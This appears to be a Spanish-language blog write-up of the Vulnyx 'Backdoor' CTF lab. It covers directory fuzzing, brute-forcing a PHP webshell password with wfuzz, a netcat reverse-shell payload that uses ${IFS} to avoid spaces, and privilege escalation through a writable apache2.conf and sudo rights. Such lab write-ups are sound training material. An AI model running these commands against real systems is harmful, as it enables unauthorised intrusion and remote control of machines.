Backdoor - Vulnyx

Backdoor - Vulnyx

Resolución de la maquina Backdoor de Vulnyx

Uyyy Quieto, ¿A donde vas sin tu CTF?

Robocop GIFs - Find & Share on GIPHY

Pero antes gracias al autor del CTF d4t4s3c y a la comunidad de Vulnyx por hacer esto posible.

Descripción de la maquina.

Sistema OperativoLinux 🐧
DificultadDifícil
Lanzamiento26/04/0023
Creadord4t4s3c
Primer Usuariononame
Primer Rootnoname

Enumeración

¿Empezamos con nmap?

Exploremos el servicio web.

Bueno, tenemos una pagina por defecto de apache2, vamos a realizar un fuzzing en busca de directorios o archivos.

gobuster dir -u http://192.168.1.73/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,js,css,txt -t 100

Aaah y tenemos una ruta interesante, veamos.

Bueno, no tenemos nada, pero seguiremos con un fuzzing bajo este directorio.

gobuster dir -u http://192.168.1.73/Backdoor/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,js,css,txt -t 100

Pero no obtuve nada, quizás nos hemos equivocado de diccionario, probemos con una lista que este relacionado con los backdoors.

gobuster dir -u http://192.168.1.73/Backdoor/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/CommonBackdoors-PHP.fuzz.txt -t 100

Encontramos algo, veamos.

Y al parecer este servicio web cuenta con una webshell, ¿Quizás y reciba algún parámetro?

Pero ya te aviso que debes de tener algo de intuición, ya que si recibe contenido, pero por POST.

¿Ahora como descubre que variables enviar por POST?

Con algo de suerte e intuición, no lo olvides... Pero te puedo adelantar que las variables son password y cmd

Si usted envía estas variables con algún valor random no obtendrá un resultado diferente, de tal manera que los hace complicado que lo haya encontrado por medio de un fuzzing

Pero en cambio si aplica un fuzzing a la variable password, eventualmente conseguirá algo.

wfuzz -c --hh=34 -w /usr/share/wordlists/rockyou.txt -d 'password=FUZZ&cmd=id' -u 'http://192.168.1.73/Backdoor/php-backdoor.php'

La cual si probamos, obtenemos esto.

Así que nos enviamos una shell.

password=newpassword&cmd=nc${IFS}-e${IFS}/bin/bash${IFS}192.168.1.72${IFS}8003

Y estamos dentro.

Escalada de privilegios

Somos el usuario por defecto de apache2(www-data), pero tenemos otro usuario en el sistema.

Explorando el sistema me encuentro que tenemos permisos de escritura en el archivo apache2.conf

¿Que podemos hacer con esto?

Podemos modificar el usuario quien corre el servicio de apache2, actualmente es manejado por www-data.

Pero vamos a cambiarlo, por el usuario rootkit

Entonces ahora como rootkit esta a cargo de los servicios de apache2, podemos enviarnos nuevamente una shell, con la diferencia que recibiremos una shell de rootkit.

Pero... Aun falta aplicar los cambios del archivo apache2.conf, y para esto debemos de tener permisos privilegiados.

Perooo, abusaremos de un permiso sudo para aplicar dichos cambios.

Ya que como puede ver, podemos hacer uso del comando reboot, al reiniciar la maquina pues los servicios también lo hacen y ahí es donde se aplicara la modificación que realizamos.

Ahora si, vamos a por esa shell.

¿Perfecto, no? continuando con la enumeración tenemos el siguiente permiso sudo.

Si bien no podemos abusar de este binario buscando algo en gtfobins. Le recomiendo que busque en las funciones del binario, un help siempre estará disponible.

Como la simple función de ejecutar un comando, y claro esto se ejecutara como root.

Y ahí lo tenemos. Hemos terminado señor, nos vemos!!

Celebramos los 30 años de la primer película de RoboCop - SMASH


Referencias

  1. VulNyx - Backdoor

Did you find this article valuable?

Support BlackPist0l's Blog by becoming a sponsor. Any amount is appreciated!